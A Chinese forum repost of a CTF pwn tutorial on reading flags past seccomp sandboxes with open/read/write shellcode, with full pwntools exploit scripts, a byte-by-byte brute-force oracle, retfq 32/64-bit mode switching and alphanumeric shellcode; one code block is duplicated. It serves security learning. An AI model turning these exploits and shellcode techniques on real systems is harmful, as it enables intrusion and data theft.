安全矩阵

 找回密码
 立即注册
搜索
查看: 800|回复: 0

栈沙箱学习之orw

[复制链接]

417

主题

417

帖子

2391

积分

金牌会员

Rank: 6Rank: 6

积分
2391
发表于 2023-8-18 12:19:31 | 显示全部楼层 |阅读模式
本帖最后由 ivi 于 2023-8-18 12:57 编辑

衡阳信安 2023-08-18 00:00 发表于湖南
前言
学到这里,栈的学习就快要告一段落了,这里先会讲解一下栈沙箱orw绕过的一些知识,之后我们学习堆的时候会将堆orw绕过。
沙箱保护
沙箱保护是对程序加入一些保护,最常见的是禁用一些系统调用,如execve,使得我们不能通过系统调用execve或system等获取到远程终端权限,因此只能通过ROP的方式调用open, read, write的来读取并打印flag 内容
ORW
orw其实就是open,read,write的简写,其实就是打开flag,写入flag,输出flag
查看沙箱
可以利用seccomp-tools来查看是否开启了沙箱,以及沙箱中一些允许的syscall
  1. $ sudo apt install gcc ruby-dev
  2. $ gem install seccomp-tools
复制代码
  1. seccomp-tools dump ./pwn
复制代码


利用上面指令即可查看程序沙箱信息
开启沙盒的两种方式
在ctf的pwn题中一般有两种函数调用方式实现沙盒机制,第一种是采用prctl函数调用,第二种是使用seccomp库函数。
prctl()函数调用
具体可以看一下prctl()函数详解_prctl函数_nedwons的博客-CSDN博客
看一下函数原型
  1. #include <sys/prctl.h>
  2. int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);

  3. // 主要关注prctl()函数的第一个参数,也就是option,设定的option的值的不同导致黑名单不同,介绍2个比较重要的option
  4. // PR_SET_NO_NEW_PRIVS(38) 和 PR_SET_SECCOMP(22)

  5. // option为38的情况
  6. // 此时第二个参数设置为1,则禁用execve系统调用且子进程一样受用
  7. prctl(38, 1LL, 0LL, 0LL, 0LL);

  8. // option为22的情况
  9. // 此时第二个参数为1,只允许调用read/write/_exit(not exit_group)/sigreturn这几个syscall
  10. // 第二个参数为2,则为过滤模式,其中对syscall的限制通过参数3的结构体来自定义过滤规则。
  11. prctl(22, 2LL, &v1);
复制代码



seccomp()函数调用
  1. __int64 sandbox()
  2. {
  3.   __int64 v1; // [rsp+8h] [rbp-8h]

  4.   // 这里介绍两个重要的宏,SCMP_ACT_ALLOW(0x7fff0000U) SCMP_ACT_KILL( 0x00000000U)
  5.   // seccomp初始化,参数为0表示白名单模式,参数为0x7fff0000U则为黑名单模式
  6.   v1 = seccomp_init(0LL);
  7.   if ( !v1 )
  8.   {
  9.     puts("seccomp error");
  10.     exit(0);
  11.   }

  12.   // seccomp_rule_add添加规则
  13.   // v1对应上面初始化的返回值
  14.   // 0x7fff0000即对应宏SCMP_ACT_ALLOW
  15.   // 第三个参数代表对应的系统调用号,0-->read/1-->write/2-->open/60-->exit
  16.   // 第四个参数表示是否需要对对应系统调用的参数做出限制以及指示做出限制的个数,传0不做任何限制
  17.   seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL);
  18.   seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL);
  19.   seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL);
  20.   seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL);
  21.   seccomp_rule_add(v1, 0x7FFF0000LL, 231LL, 0LL);

  22.   // seccomp_load->将当前seccomp过滤器加载到内核中
  23.   if ( seccomp_load(v1) < 0 )
  24.   {
  25.     // seccomp_release->释放seccomp过滤器状态
  26.     // 但对已经load的过滤规则不影响
  27.     seccomp_release(v1);
  28.     puts("seccomp error");
  29.     exit(0);
  30.   }
  31.   return seccomp_release(v1);
  32. }
复制代码



shellcode写入哪里?
一般这种ORW题目给出的溢出大小不够我们写入很长的ROP链的,因此会提供mmap()函数,从而给出一段在栈上的内存
使用mmap申请适合4byte的寄存器的地址
mmap()函数原型
  1. __int64 sandbox()
  2. {
  3.   __int64 v1; // [rsp+8h] [rbp-8h]

  4.   // 这里介绍两个重要的宏,SCMP_ACT_ALLOW(0x7fff0000U) SCMP_ACT_KILL( 0x00000000U)
  5.   // seccomp初始化,参数为0表示白名单模式,参数为0x7fff0000U则为黑名单模式
  6.   v1 = seccomp_init(0LL);
  7.   if ( !v1 )
  8.   {
  9.     puts("seccomp error");
  10.     exit(0);
  11.   }

  12.   // seccomp_rule_add添加规则
  13.   // v1对应上面初始化的返回值
  14.   // 0x7fff0000即对应宏SCMP_ACT_ALLOW
  15.   // 第三个参数代表对应的系统调用号,0-->read/1-->write/2-->open/60-->exit
  16.   // 第四个参数表示是否需要对对应系统调用的参数做出限制以及指示做出限制的个数,传0不做任何限制
  17.   seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL);
  18.   seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL);
  19.   seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL);
  20.   seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL);
  21.   seccomp_rule_add(v1, 0x7FFF0000LL, 231LL, 0LL);

  22.   // seccomp_load->将当前seccomp过滤器加载到内核中
  23.   if ( seccomp_load(v1) < 0 )
  24.   {
  25.     // seccomp_release->释放seccomp过滤器状态
  26.     // 但对已经load的过滤规则不影响
  27.     seccomp_release(v1);
  28.     puts("seccomp error");
  29.     exit(0);
  30.   }
  31.   return seccomp_release(v1);
  32. }
复制代码



   
mmap
   

addr
要申请的地址
建议四位
length
从addr开始申请的长度
建议一页0x1000
prot
权限
7
flags
确定映射的更新是否对其他进程可见
0x22
fd
映射到文件描述符fd
0xFFFFFFFF
offset
映射偏移
NULL
实例操作[极客大挑战 2019]Not Badorw都有
checksec
64位,保护全关
seccomp-tools
这里可以看到orw权限都开了,即可以正常使用open,read,write
IDA分析
sub_400949()
  1. __int64 sub_400949()
  2. {
  3.   __int64 v1; // [rsp+8h] [rbp-8h]

  4.   v1 = seccomp_init(0LL);
  5.   seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL);
  6.   seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL);
  7.   seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL);
  8.   seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL);
  9.   return seccomp_load(v1);
  10. }
复制代码



这里是用seccomp()开启的沙箱,和我们上面分析的结果一样,都是允许调用open,read,write,exit
sub_400A16()
  1. int sub_400A16()
  2. {
  3.   char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  4.   puts("Easy shellcode, have fun!");
  5.   read(0, buf, 0x38uLL);
  6.   return puts("Baddd! Focu5 me! Baddd! Baddd!");
  7. }
复制代码



这里是一个read的栈溢出漏洞,可以利用这里打栈溢出
sub_400906()
  1. void sub_400906()
  2. {
  3.   setbuf(stdin, 0LL);
  4.   setbuf(stdout, 0LL);
  5.   setbuf(stderr, 0LL);
  6. }
复制代码



设定关闭缓冲区
main()
  1. __int64 __fastcall main(int a1, char **a2, char **a3)
  2. {
  3.   mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);
  4.   sub_400949();
  5.   sub_400906();
  6.   sub_400A16();
  7.   return 0LL;
  8. }
复制代码



sub_4009EE()
  1. void sub_4009EE()
  2. {
  3.   __asm { jmp     rsp }
  4. }
复制代码



提供了jmp_rsp
_mmap()
  1. // attributes: thunk
  2. void *mmap(void *addr, size_t len, int prot, int flags, int fd, __off_t offset)
  3. {
  4.   return mmap(addr, len, prot, flags, fd, offset);
  5. }
复制代码



使用mmap提供了一块内存
gdb动调
  1. 32+8=40
复制代码


知道了起始地址,这段空间大小0x1000,也就是说read里面读取到哪里都无所谓反正mmap_place+x<=max_place就可以,后面那个0x100是读取大小
所以思路也就有了:
·     首先构造我们的shellcode
·     利用jmp_rsp,跳转到给我们提供mmap的内存这里写入我们的ROP链
·     getshell
先上exp:
  1. #coding=utf-8
  2. import os
  3. import sys
  4. import time
  5. from pwn import *
  6. from ctypes import *

  7. context.log_level='debug'
  8. context.arch='amd64'

  9. p=remote("node4.buuoj.cn",25757)
  10. #p=process('./pwn')
  11. elf = ELF('./pwn')
  12. libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

  13. s       = lambda data               :p.send(data)
  14. ss      = lambda data               :p.send(str(data))
  15. sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
  16. sl      = lambda data               :p.sendline(data)
  17. sls     = lambda data               :p.sendline(str(data))
  18. sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
  19. r       = lambda num                :p.recv(num)
  20. ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
  21. itr     = lambda                    :p.interactive()
  22. uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
  23. uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
  24. leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
  25. l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
  26. l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
  27. context.terminal = ['gnome-terminal','-x','sh','-c']
  28. def dbg():
  29.     gdb.attach(p,'b *$rebase(0x13aa)')
  30.     pause()

  31. #dbg()
  32. ru('Easy shellcode, have fun!')

  33. mmap=0x123000
  34. #orw=shellcraft.open('./flag.txt')
  35. orw=shellcraft.open('./flag')
  36. orw+=shellcraft.read(3,mmap,0x50)
  37. orw+=shellcraft.write(1,mmap,0x50)

  38. jmp_rsp=0x400A01

  39. pl=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
  40. pl=pl.ljust(0x28,b'\x00')
  41. pl+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')


  42. sl(pl)

  43. shell=asm(orw)
  44. sl(shell)

  45. p.interactive()
复制代码



解释一下exp
·     第一个框就是构造我们orw的shellcode了,先打开flag文件,之后利用read写入flag,再输出flag
这里先说一下为什么read的fd是3,可以结合下面图片,0~2都是保留的用于缓冲区,我们打开第一个新文件的文件描述符是3,第二个是4,以此类推
·     第二个框就是我们所说的jmp_rsp的地址
·     第三个框就是我们将ROP写到mmap提供的栈的内存上,之后利用jmp_rsp跳转到orw_shellcode的地方
2021-蓝帽杯初赛-slientorw->采取爆破
checksec
64位程序,保护全开
seccomp-tools
这里要注意要在root下查看
  1. root@ubuntu:/home/evil/Desktop/pwn test/orw/ciscn2023/2021 slient# seccomp-tools dump ./pwn
  2. Welcome to silent execution-box.

  3. line  CODE  JT   JF      K
  4. =================================
  5. 0000: 0x20 0x00 0x00 0x00000004  A = arch
  6. 0001: 0x15 0x00 0x06 0xc000003e  if (A != ARCH_X86_64) goto 0008
  7. 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
  8. 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
  9. 0004: 0x15 0x00 0x03 0xffffffff  if (A != 0xffffffff) goto 0008
  10. 0005: 0x15 0x01 0x00 0x00000000  if (A == read) goto 0007
  11. 0006: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0008
  12. 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
  13. 0008: 0x06 0x00 0x00 0x00000000  return KILL
复制代码



这里可以看到只有readopen
IDA分析
main()
  1. void __fastcall main(__int64 a1, char **a2, char **a3)
  2. {
  3.   unsigned int v3; // eax
  4.   __int128 v4; // xmm0
  5.   __int128 v5; // xmm1
  6.   __int128 v6; // xmm2
  7.   __int64 v7; // [rsp+48h] [rbp-68h]
  8.   __int64 v8; // [rsp+50h] [rbp-60h]
  9.   __int128 buf; // [rsp+60h] [rbp-50h] BYREF
  10.   __int128 v10; // [rsp+70h] [rbp-40h]
  11.   __int128 v11; // [rsp+80h] [rbp-30h]
  12.   __int128 v12; // [rsp+90h] [rbp-20h]
  13.   unsigned __int64 v13; // [rsp+A0h] [rbp-10h]

  14.   v13 = __readfsqword(0x28u);
  15.   sub_A60(a1, a2, a3);
  16.   v12 = 0LL;
  17.   v11 = 0LL;
  18.   v10 = 0LL;
  19.   buf = 0LL;
  20.   puts("Welcome to silent execution-box.");
  21.   v3 = getpagesize();
  22.   v8 = (int)mmap((void *)0x1000, v3, 7, 34, 0, 0LL);
  23.   read(0, &buf, 0x40uLL);
  24.   prctl(38, 1LL, 0LL, 0LL, 0LL);
  25.   prctl(4, 0LL);
  26.   v7 = seccomp_init(0LL);
  27.   seccomp_rule_add(v7, 2147418112LL, 2LL, 0LL);
  28.   seccomp_rule_add(v7, 2147418112LL, 0LL, 0LL);
  29.   seccomp_load(v7);
  30.   v4 = buf;
  31.   v5 = v10;
  32.   v6 = v11;
  33.   *(_OWORD *)(v8 + 48) = v12;
  34.   *(_OWORD *)(v8 + 32) = v6;
  35.   *(_OWORD *)(v8 + 16) = v5;
  36.   *(_OWORD *)v8 = v4;
  37.   ((void (__fastcall *)(__int64, __int64, __int64))v8)(3735928559LL, 3735928559LL, 3735928559LL);
  38.   if ( __readfsqword(0x28u) != v13 )
  39.     init();
  40. }
复制代码



分析一下main(),就是利用mmap()申请了0x1000的内存空间,然后利用seccomp()设置了沙箱,read允许读入0x40大小的数据
这道题不知道为啥好像动调不了,有可能是我太菜了动调不动,不过在系统函数说明中有这样一说
  1. // about mmap (link: https://man7.org/linux/man-pages/man2/mmap.2.html)
  2. // 1. SYNOPSIS
  3. #include <sys/mman.h>
  4. void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);

  5. /* 2. DESCRIPTION
  6. mmap() creates a new mapping in the virtual address space of the
  7.        calling process.  The starting address for the new mapping is
  8.        specified in addr.  The length argument specifies the length of
  9.        the mapping (which must be greater than 0).

  10.        If addr is NULL, then the kernel chooses the (page-aligned)
  11.        address at which to create the mapping; this is the most portable
  12.        method of creating a new mapping.  If addr is not NULL, then the
  13.        kernel takes it as a hint about where to place the mapping; on
  14.        Linux, the kernel will pick a nearby page boundary (but always
  15.        above or equal to the value specified by
  16.        /proc/sys/vm/mmap_min_addr) and attempt to create the mapping
  17.        there.  If another mapping already exists there, the kernel picks
  18.        a new address that may or may not depend on the hint.  The
  19.        address of the new mapping is returned as the result of the call.
  20. ......
  21. */
复制代码



由 on Linux, the kernel will pick a nearby page boundary (but alwaysabove or equal to the value specified by /proc/sys/vm/mmap_min_addr) 可知:Linux 为 mmap 分配虚拟内存时,总是从最接近 addr 的页边缘开始的,而且保证地址不低于 /proc/sys/vm/mmap_min_addr 所指定的值。
可以看到,mmap_min_addr = 65536 = 0x10000,因此刚才判断程序利用 mmap 函数在 0x10000 处开辟一个 page 的空间
因此mmap申请的内存的起始地址应该为0x10000,截至地址应该为0x11000,大小为0x1000,这里附上其他师傅进行动调vmmap得到的结果,和我所理解的是一样的
由于缺少write()函数,我们无法输出flag,可以进行单个字节的对比爆,即读取flag到一块内存区域,随后单字节爆破,在shellcode中设置loop循环,一旦cmp命中就让程序卡死,否则执行后面的exit因为沙箱禁用程序崩溃退出,根据程序的表现可以区分是否命中,注意因为服务器通信不稳定,每次读到一段flag就更新exp中的flag字符串继续向后爆破
exp:
  1. #coding=utf-8
  2. from pwn import *

  3. context.update(arch='amd64',os='linux',log_level='info')

  4. def exp(dis,char):
  5.     p.recvuntil("Welcome to silent execution-box.\n")
  6.     shellcode = asm('''
  7.             mov r12,0x67616c66
  8.             push r12
  9.             mov rdi,rsp
  10.             xor esi,esi
  11.             xor edx,edx
  12.             mov al,2
  13.             syscall
  14.             mov rdi,rax
  15.             mov rsi,0x10700
  16.             mov dl,0x40
  17.             xor rax,rax
  18.             syscall
  19.             mov dl, byte ptr [rsi+{}]
  20.             mov cl, {}
  21.             cmp cl,dl
  22.             jz loop
  23.             mov al,60
  24.             syscall
  25.             loop:
  26.             jmp loop
  27.             '''.format(dis,char))
  28.     p.send(shellcode)
  29. flag = "flag{"

  30. for i in range(len(flag),35):
  31.     sleep(1)
  32.     log.success("flag : {}".format(flag))
  33.     for j in range(0x20,0x80):
  34.         p = process('./pwn')
  35.         try:
  36.             exp(i,j)
  37.             p.recvline(timeout=1)
  38.             flag += chr(j)
  39.             p.send('\n')
  40.             log.success("{} pos : {} success".format(i,chr(j)))
  41.             p.close()
  42.             break
  43.         except:           
  44.             p.close()
复制代码



解释一下exp,主要是解释shellcode
·     第一个框,这里其实就是open('./flag'),因为程序都是小端序的,我们要输入galf的16进制,程序才会解析为flag
·     第二个框,这里其实就是read(fd,0x10700,0x40)
·     第三个框,这里就是利用loop循环写的一个汇编语言单字节爆破,此时rsi经过传参保存的是flag的地址,利用cmp检查flag[index]是否等于需要的flag,若相等咋会卡在这个循环中,否则继续爆破
RW O可以借助fstat()->利用retfq汇编指令切换至32位调用open
这里从网上实在找不到题目,就借用ex团长的一道题目进行理解分析吧,虽然原文章已经写的很好了,具体题目分析可以看一下参考链接shellcode的艺术中的第六模块
顺便讲一下retf这个汇编指令
·     CPU执行ret指令时,相当于进行
  1. pop IP
复制代码

·     CPU执行retf指令时,相当于进行:
  1. pop IP
  2. pop Cs
复制代码



·     32bit cs 0x23
  1. ;;nasm -f elf32 test_cs_32.asm
  2. ;;ld -m elf_i386 -o test_cs_32
  3. global _start
  4. _start:
  5.   push 0x0068732f
  6.   push 0x6e69622f
  7.   mov ebx,esp
  8.   xor ecx,ecx
  9.   xor edx,edx
  10.   mov eax,11
  11.   int 0x80
复制代码



·     64bit cs 0x33
  1. ;;nasm -f elf64 test_cs_64.asm
  2. ;;ld -m elf_x86_64 -o test_cs_64 test_cs_64.o
  3. global _start
  4. _start:
  5.   mov r10,0x0068732f6e69622f
  6.   push r10
  7.   mov rdi,rsp
  8.   xor rsi,rsi
  9.   xor rdx,rdx
  10.   mov rax,0x3b
  11.   syscall
复制代码



还有要注意一下,当从64位切换到32的时候,64位下会push一个8byte的数
  1. push 0x20
  2. push addr
  3. retf
复制代码


栈的结构
  1. rsp->   00----addr----00
  2.         0000000000000020
复制代码


转为32位时
  1. esp->   0-addr-0
  2.         00000020
复制代码



可以采取
  1. to32bit:
  2.     ; retf to 32bit
  3.     push addr
  4.     mov r15,0x2300000000
  5.     add qword [rsp],r15
  6.     retf
复制代码



此时的栈结构
  1. rsp->   0-addr-020000000
  2. //也就是
  3. esp->   0-addr-0
  4.         00000020
复制代码



32位转换为64位时
直接转换即可,因为不存在push一个8byte的数了
  1. push 0x20
  2. push addr
  3. retf
复制代码



现在讲解了retf的一些基础知识以及在转换中的一些细节,现在我们回到题目继续看一下这道题目。
seccomp-tools
  1. $ seccomp-tools dump ./shellcode
  2. ---------- Shellcode ----------
  3. line  CODE  JT   JF      K
  4. =================================
  5. 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
  6. 0001: 0x15 0x06 0x00 0x00000005  if (A == fstat) goto 0008
  7. 0002: 0x15 0x05 0x00 0x00000025  if (A == alarm) goto 0008
  8. 0003: 0x15 0x04 0x00 0x00000001  if (A == write) goto 0008
  9. 0004: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0008
  10. 0005: 0x15 0x02 0x00 0x00000009  if (A == mmap) goto 0008
  11. 0006: 0x15 0x01 0x00 0x000000e7  if (A == exit_group) goto 0008
  12. 0007: 0x06 0x00 0x00 0x00000000  return KILL
  13. 0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW
复制代码



可以看到可以调用write,read,mmap但是没有open,这个时候可以利用fstat()函数,该函数的 64 位系统调用号为 5,这个是 open 函数的 32 位系统调用号)
所以这道题的思路也就有了,利用 retfq 汇编指令进行 32 位和 64 位系统格式之间的切换,在 32 位格式下执行 open 函数打开 flag 文件,在 64 位格式下执行输入输出。
相关系统调用号可以参考linux 系统调用号表_linux系统调用号_Anciety的博客-CSDN博客
这道题ex团长设计的还是难顶的,限制输入的 shellcode 必须是可打印字符,我们可以借助一些技巧从而构造汇编指令(比如异或之类的算法操作)
可以用shellcode的艺术中的第三模块中的总结用法,比如
  1. xor al, 立即数
  2. xor byte ptr [eax… + 立即数], al dl…
  3. xor byte ptr [eax… + 立即数], ah dh…
  4. xor dword ptr [eax… + 立即数], esi edi
  5. xor word ptr [eax… + 立即数], si di
  6. xor al dl…, byte ptr [eax… + 立即数]
  7. xor ah dh…, byte ptr [eax… + 立即数]
  8. xor esi edi, dword ptr [eax… + 立即数]
  9. xor si di, word ptr [eax… + 立即数]
复制代码



exp:
  1. #coding:utf-8
  2. from pwn import *
  3. context.log_level = 'debug'
  4. p = process('./shellcode')
  5. # p = remote("nc.eonew.cn","10011")
  6. p.recvuntil("shellcode: ")

  7. append_x86 = '''
  8. push ebx
  9. pop ebx
  10. '''
  11. append = '''
  12. /* 机器码: 52 5a */
  13. push rdx
  14. pop rdx
  15. '''

  16. shellcode_x86 = '''
  17. /*fp = open("flag")*/
  18. mov esp,0x40404140

  19. /* s = "flag" */
  20. push 0x67616c66

  21. /* ebx = &s */
  22. push esp
  23. pop ebx

  24. /* ecx = 0 */
  25. xor ecx,ecx

  26. mov eax,5
  27. int 0x80

  28. mov ecx,eax
  29. '''

  30. shellcode_flag = '''
  31. /* retfq:  mode_32 -> mode_64*/
  32. push 0x33
  33. push 0x40404089
  34. retfq

  35. /*read(fp,buf,0x70)*/
  36. mov rdi,rcx
  37. mov rsi,rsp
  38. mov rdx,0x70
  39. xor rax,rax
  40. syscall

  41. /*write(1,buf,0x70)*/
  42. mov rdi,1
  43. mov rax,1
  44. syscall
  45. '''
  46. shellcode_x86 = asm(shellcode_x86)
  47. shellcode_flag = asm(shellcode_flag, arch = 'amd64', os = 'linux')
  48. shellcode = ''

  49. # 0x40404040 为32位shellcode地址
  50. shellcode_mmap = '''
  51. /*mmap(0x40404040,0x7e,7,34,0,0)*/
  52. push 0x40404040 /*set rdi*/
  53. pop rdi

  54. push 0x7e /*set rsi*/
  55. pop rsi

  56. push 0x40 /*set rdx*/
  57. pop rax
  58. xor al,0x47
  59. push rax
  60. pop rdx

  61. push 0x40 /*set r8*/
  62. pop rax
  63. xor al,0x40
  64. push rax
  65. pop r8

  66. push rax /*set r9*/
  67. pop r9

  68. /*syscall*/
  69. /* syscall 的机器码是 0f 05, 都是不可打印字符. */
  70. /* 用异或运算来解决这个问题: 0x0f = 0x5d^0x52, 0x05 = 0x5f^0x5a. */
  71. /* 其中 0x52,0x5a 由 append 提供. */
  72. push rbx
  73. pop rax
  74. push 0x5d
  75. pop rcx
  76. xor byte ptr[rax+0x31],cl
  77. push 0x5f
  78. pop rcx
  79. xor byte ptr[rax+0x32],cl

  80. push 0x22 /*set rcx*/
  81. pop rcx

  82. push 0x40/*set rax*/
  83. pop rax
  84. xor al,0x49
  85. '''
  86. shellcode_read = '''
  87. /*read(0,0x40404040,0x70)*/

  88. push 0x40404040 /*set rsi*/
  89. pop rsi

  90. push 0x40 /*set rdi*/
  91. pop rax
  92. xor al,0x40
  93. push rax
  94. pop rdi

  95. xor al,0x40 /*set rdx*/
  96. push 0x70
  97. pop rdx

  98. /*syscall*/
  99. push rbx
  100. pop rax
  101. push 0x5d
  102. pop rcx
  103. xor byte ptr[rax+0x57],cl
  104. push 0x5f
  105. pop rcx
  106. xor byte ptr[rax+0x58],cl

  107. push rdx /*set rax*/
  108. pop rax
  109. xor al,0x70
  110. '''

  111. shellcode_retfq = '''
  112. /*mode_64 -> mode_32*/
  113. push rbx
  114. pop rax

  115. xor al,0x40

  116. push 0x72
  117. pop rcx
  118. xor byte ptr[rax+0x40],cl
  119. push 0x68
  120. pop rcx
  121. xor byte ptr[rax+0x40],cl
  122. push 0x47
  123. pop rcx
  124. sub byte ptr[rax+0x41],cl
  125. push 0x48
  126. pop rcx
  127. sub byte ptr[rax+0x41],cl
  128. push rdi
  129. push rdi
  130. push 0x23
  131. push 0x40404040
  132. pop rax
  133. push rax
  134. '''

  135. # mmap
  136. shellcode += shellcode_mmap
  137. shellcode += append

  138. # read shellcode
  139. shellcode += shellcode_read
  140. shellcode += append

  141. # mode_64 -> mode_32
  142. shellcode += shellcode_retfq
  143. shellcode += append

  144. shellcode = asm(shellcode,arch = 'amd64',os = 'linux')
  145. print hex(len(shellcode))

  146. #gdb.attach(p,"b *0x40027f\nb*0x4002eb\nc\nc\nsi\n")
  147. p.sendline(shellcode)
  148. pause()

  149. p.sendline(shellcode_x86 + 0x29*'\x90' + shellcode_flag)
  150. p.interactive()
复制代码


2021-强网杯-初赛-shellcode只有ROW->上述两种方式的总结
这里就不多赘述了,只讲一下思路与exp
seccomp-tools
发现只有read,mmap,但是又fstat,所以可以解决没有open的情况,没有write可以利用loop循环,用cmp卡住程序,从而进行单字节爆破得到flag,所以这是上面两个题目的总结
exp:
  1. #!/usr/bin/env python
  2. import os
  3. import time
  4. from pwn import *

  5. context.arch = 'amd64'
  6. context.os = 'linux'
  7. # context.log_level = 'debug'

  8. def toPrintable(raw):
  9.     with open("/tmp/raw","wb") as f:
  10.         f.write(asm(raw,arch='amd64'))
  11.     result = os.popen("python ~/pwntools/alpha3/ALPHA3.py x64 ascii mixedcase rbx --input=/tmp/raw").read()
  12.     print("[*] Shellcode %s"%result)
  13.     return result

  14. def exp(p,a,b):
  15.     shellcode1 = '''
  16.         mov r10,rbx
  17.         add r10w,0x0140
  18.         xor rdi,rdi
  19.         mov rsi,r10   
  20.         xor rdx,rdx
  21.         add dx,0x1040
  22.         xor rax,rax
  23.         syscall
  24.         jmp r10
  25.     '''
  26.     shellcode2 = '''

  27.         mov rdi,0x40000000
  28.         mov rsi,0x1000
  29.         mov rdx,0x7
  30.         mov r10,0x22
  31.         mov r8,0xFFFFFFFF
  32.         xor r9,r9
  33.         mov rax,0x9
  34.         syscall

  35.         mov rsi,rdi
  36.         xor rdi,rdi
  37.         mov rdx,0x1000
  38.         xor rax,rax
  39.         syscall
  40.         jmp rsi
  41.     '''
  42.     shellcode3_ = '''
  43.         mov r10,0x2300000000
  44.         add rsi,0x13
  45.         add rsi,r10
  46.         push rsi
  47.         retf

  48.         mov esp,0x40000400
  49.         push 0x0067
  50.         push 0x616c662f
  51.         mov ebx,esp
  52.         xor ecx,ecx
  53.         mov edx,0x7
  54.         mov eax,0x5
  55.         int 0x80

  56.         push 0x33
  57.         push 0x40000037
  58.         retf

  59.         mov rdi,rax
  60.         mov rsi,0x40000500
  61.         mov rdx,0x80
  62.         xor rax,rax
  63.         syscall

  64.         push 0
  65.         cmp byte ptr[rsi+{0}],{1}
  66.         jz $-3
  67.         ret
  68.     '''.format(a,b) if a==0 else '''

  69.         mov r10,0x2300000000
  70.         add rsi,0x13
  71.         add rsi,r10
  72.         push rsi
  73.         retf

  74.         mov esp,0x40000400
  75.         push 0x0067
  76.         push 0x616c662f
  77.         mov ebx,esp
  78.         xor ecx,ecx
  79.         mov edx,0x7
  80.         mov eax,0x5
  81.         int 0x80

  82.         push 0x33
  83.         push 0x40000037
  84.         retf

  85.         mov rdi,rax
  86.         mov rsi,0x40000500
  87.         mov rdx,0x80
  88.         xor rax,rax
  89.         syscall

  90.         push 0
  91.         cmp byte ptr[rsi+{0}],{1}
  92.         jz $-4
  93.         ret
  94.     '''.format(a,b)
  95.     # shellcode1 = toPrintable(shellcode1)
  96.     # shellcode2 = asm(shellcode2,arch='amd64')
  97.     # shellcode3 = asm(shellcode3,arch='amd64')
  98.     # print "".join("\\x%02x"%ord(_) for _ in asm(shellcode,arch='amd64'))
  99.     shellcode1 = "Sh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M144x8n0R094y4l0p0S0x188K055M4z0x0A3r054q4z0q2H0p0z402Z002l8K4X00"
  100.     shellcode2 = "\x48\xc7\xc7\x00\x00\x00\x40\x48\xc7\xc6\x00\x10\x00\x00\x48\xc7\xc2\x07\x00\x00\x00\x49\xc7\xc2\x22\x00\x00\x00\x49\xb8\xff\xff\xff\xff\x00\x00\x00\x00\x4d\x31\xc9\x48\xc7\xc0\x09\x00\x00\x00\x0f\x05\x48\x89\xfe\x48\x31\xff\x48\xc7\xc2\x00\x10\x00\x00\x48\x31\xc0\x0f\x05\xff\xe6"
  101.     shellcode3 = "\x49\xba\x00\x00\x00\x00\x23\x00\x00\x00\x48\x83\xc6\x13\x4c\x01\xd6\x56\xcb\xbc\x00\x04\x00\x40\x6a\x67\x68\x2f\x66\x6c\x61\x89\xe3\x31\xc9\xba\x07\x00\x00\x00\xb8\x05\x00\x00\x00\xcd\x80\x6a\x33\x68\x37\x00\x00\x40\xcb\x48\x89\xc7\x48\xc7\xc6\x00\x05\x00\x40\x48\xc7\xc2\x80\x00\x00\x00\x48\x31\xc0\x0f\x05\x6a\x00"
  102.     shellcode3 += asm('cmp byte ptr[rsi+{0}],{1};jz $-3;ret'.format(a,b) if a == 0 else 'cmp byte ptr[rsi+{0}],{1};jz $-4;ret'.format(a,b),arch='amd64')
  103.     p.sendline(shellcode1)
  104.     p.sendline(shellcode2)
  105.     # raw_input()
  106.     p.sendline(shellcode3)
  107.     try:
  108.         p.recv(timeout = 2)
  109.     except:
  110.         p.close()
  111.         return 0
  112.     else:
  113.         return 1
  114. def main():
  115.     flag = [" " for _ in range(0x30)]
  116.     for i in range(0,100):
  117.         # for char in "{}1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ":
  118.         for char in range(0x20,0x7e+1):
  119.             # char = ord(char)
  120.             p = process("./shellcode")
  121.             if exp(p,i,char):
  122.                 flag[i] = chr(char)
  123.                 tmp = "".join(_ for _ in flag)
  124.                 print(">>>>> %s"%tmp)
  125.                 break
  126.             p.close()
  127. if __name__ == '__main__':
  128.     main()
复制代码



这里涉及到一个工具alpha3,可以生成纯字符的shellcode,具体使用以及安装可以借鉴下面参考中给出的链接,这个师傅整理的非常方便了
来源:【https://xz.aliyun.com/】,感谢【Evi1s7



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

